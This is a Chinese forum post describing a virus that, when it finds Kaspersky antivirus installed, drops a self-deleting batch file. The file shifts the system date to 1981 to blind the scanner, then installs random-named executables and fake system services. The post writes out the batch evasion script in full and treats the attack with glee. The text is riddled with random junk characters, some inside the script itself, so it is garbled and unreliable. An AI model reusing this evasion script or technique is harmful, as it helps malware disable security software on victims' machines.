|
|
|
今天拿到个小病毒..玩了一下下...按某论坛某人的帖得到结果如下
( u. n# G2 w& d1 M8 [1 s9 O9 o- c, N ' H" c2 `5 U( M* W5 w8 D
2如果没有安装卡巴斯基,直接运行病毒代码- C2 o ^' g7 C* d- D
3如果发现安装卡巴斯基,则先释放一个批处理(.bat)文件,注意卡巴的主动防御并没有吹嘘的那么好,对此代码完全是放纵不管!!代码很简单,如下:; _3 J$ R( u4 Y, T
@echo off' I( t7 X, ], g6 I
set date=%date%
# G X9 U, _) H. {# J date 1981-1-128 B$ R: k& T' x" E/ b$ h
ping -n 45 localhost > nul7 U! F; {+ D. C+ u7 u- ]" y
date %date%4 o8 S. P$ l ?
del %0/ y; d$ B! V# Q5 s
: y% ~) Z# ^. n3 e 会发现系统时间被调整到了1981年1月12日(时间没变,日期变了),这时,卡巴斯基的监控立刻失效,在成功完成Over掉卡巴斯基后,病毒释放如下文件
2 y, F4 G/ ~ o' H! K( Y% D %SystemRoot%\system32\*.EXE
% o: v( T+ \' q! U, }; w %SystemRoot%\system32\*T.EXE
3 Q0 x0 H, {/ S- q6 q( e %SystemRoot%\system32\*.DLL' H* A: b$ z* w6 K; ^
%SystemRoot%\system32\delme.bat
8 e5 N: R8 \* Y! r (注:*为随机8位字母)
' ^+ b$ O* _7 V- R 并在注册表HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\添加若干伪系统服务,至此,病毒成功运行!可以说,卡巴斯基被秒杀,一点反抗能力也没有。
2 V( \ q/ b6 T 其实,这个Bug早已存在,但卡巴斯基一直没有修正,直至现在出现了利用这个Bug的病毒/ q$ Z# n. y, v; ~
! a3 c6 r6 T; i' X. D
|
|